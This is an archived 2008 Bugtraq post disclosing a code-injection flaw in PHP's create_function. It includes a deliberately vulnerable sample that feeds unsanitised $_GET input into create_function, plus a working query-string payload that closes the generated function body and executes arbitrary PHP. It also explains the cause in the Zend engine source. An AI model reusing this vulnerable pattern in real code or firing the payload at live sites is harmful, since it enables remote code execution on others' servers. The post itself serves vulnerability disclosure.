bugtraq - php create_function commond injection vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 24 Sep 2008 20:30:32 -0600
From: root@...ec.com
To: bugtraq@...urityfocus.com
Subject: php create_function commond injection vulnerability

php use create_function function to CREATE an anonymous function like below(stolen from php_manual):

--------------------------------------------------
Description
string create_function ( string args, string code )

Creates an anonymous function from the parameters passed, and returns a unique name for it. Usually the args will be passed as a single quote delimited string, and this is also recommended for the code. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

You can use this function, to (for example) create a function from information gathered at run time: 

1. Creating an anonymous function with create_function() 

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>  

........

But 80sec found there is a commond injection in this function,you can EXECUTE your php code  directly but not CREATE a lambda-style function.It is very useful when sometimes you can create a function but cann't call your function.Check code below:

<?php
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter = 'var_dump';
$sort_function = '
            return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . 
'"], $b["' . $sort_by . '"]);
        ';

usort($databases, create_function('$a, $b', $sort_function));

?>

Yes,you can create a function,but because the $databases has only one value,the function never be called,so your injected code cann't be executed :),but when you input like this:

test.php?sort_by="]);}phpinfo();/*

Bingo,phpinfo executed in create_function,you needn't call the function at all!

Create_function is a ZEND_FUNCTION in php,it is defined in ./Zend/zend_builtin_functions.c :

......
       eval_code = (char *) emalloc(eval_code_length);
        sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code));

        eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
        retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);

......

It simply use zend_eval_string to do this work,which execute "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}".As you see,you can easily use '}' to close '}',and other codes is executed by zend_eval_string runtime :) 

From:http://www.80sec.com